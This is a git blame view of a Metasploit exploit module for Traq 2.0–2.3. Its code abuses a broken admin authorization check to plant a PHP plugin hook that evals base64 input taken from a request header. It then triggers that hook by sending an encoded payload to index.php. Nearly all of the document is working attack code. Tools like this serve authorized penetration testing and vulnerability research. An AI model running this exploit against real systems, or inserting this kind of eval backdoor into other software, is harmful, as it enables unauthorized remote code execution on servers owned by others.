Files
metasploit-gs/modules/exploits/multi/http/traq_plugin_exec.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

113 lines
3.0 KiB
Ruby
Raw Normal View History

2014-01-22 11:23:18 -06:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
2025-06-20 13:20:44 +01:00
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Traq admincp/common.php Remote Code Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in
Traq 2.0 to 2.3. It's in the admincp/common.php script.
2025-06-20 13:20:44 +01:00
This function is called in each script located in the /admicp/ directory to
make sure the user has admin rights. This is a broken authorization schema
because the header() function doesn't stop the execution flow.
This can be exploited by malicious users to execute admin functionality,
e.g. execution of arbitrary PHP code leveraging of plugins.php functionality.
},
'License' => MSF_LICENSE,
'Author' => [
'EgiX', # Vulnerability discovery and exploit
2011-12-29 11:14:15 -06:00
'TecR0c <roccogiovannicalvi[at]gmail.com>' # Metasploit Module
],
2025-06-20 13:20:44 +01:00
'References' => [
[ 'OSVDB', '77556'],
2012-10-23 21:02:09 +02:00
[ 'EDB', '18213' ],
[ 'URL', 'http://traqproject.org/' ],
],
2025-06-20 13:20:44 +01:00
'Privileged' => false,
'Payload' => {
'Keys' => ['php'],
'Space' => 4000,
'DisableNops' => true,
},
2025-06-20 13:20:44 +01:00
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [[ 'Automatic', {} ]],
'DisclosureDate' => '2011-12-12',
'DefaultTarget' => 0,
'Notes' => {
2025-06-23 12:43:46 +01:00
'Reliability' => UNKNOWN_RELIABILITY,
'Stability' => UNKNOWN_STABILITY,
'SideEffects' => UNKNOWN_SIDE_EFFECTS
}
2025-06-20 13:20:44 +01:00
)
)
register_options(
[
OptString.new('URI', [true, "The path to the Traq installation", "/"]),
2025-06-20 13:20:44 +01:00
]
)
end
def check
2013-01-30 23:23:41 -06:00
uri = normalize_uri(datastore['URI'], "admincp", "login.php")
res = send_request_raw(
{
2025-06-20 13:20:44 +01:00
'uri' => uri
}, 25
)
2025-06-20 13:20:44 +01:00
if (res and res.body =~ /Powered by Traq 2.[0-3]/)
2014-01-21 13:03:36 -06:00
return Exploit::CheckCode::Appears
end
2025-06-20 13:20:44 +01:00
return Exploit::CheckCode::Safe
end
def exploit
p = Rex::Text.encode_base64(payload.encoded)
2013-01-30 23:23:41 -06:00
uri = normalize_uri(datastore['URI'], "admincp", "plugins.php") + "?newhook"
res = send_request_cgi(
{
2025-06-20 13:20:44 +01:00
'method' => 'POST',
'uri' => uri,
'vars_post' =>
{
'plugin_id' => '1',
'title' => '1',
'execorder' => '0',
'hook' => 'template_footer',
'code' => 'error_reporting(0);eval(base64_decode($_SERVER[HTTP_CMD]));die;'
}
2025-06-20 13:20:44 +01:00
}, 25
)
2013-01-30 23:23:41 -06:00
uri = normalize_uri(datastore['URI'], "index.php")
res = send_request_cgi(
{
2025-06-20 13:20:44 +01:00
'method' => 'GET',
'uri' => uri,
'headers' =>
{
'CMD' => p,
'Connection' => 'Close',
},
2025-06-20 13:20:44 +01:00
}, 25
)
end
end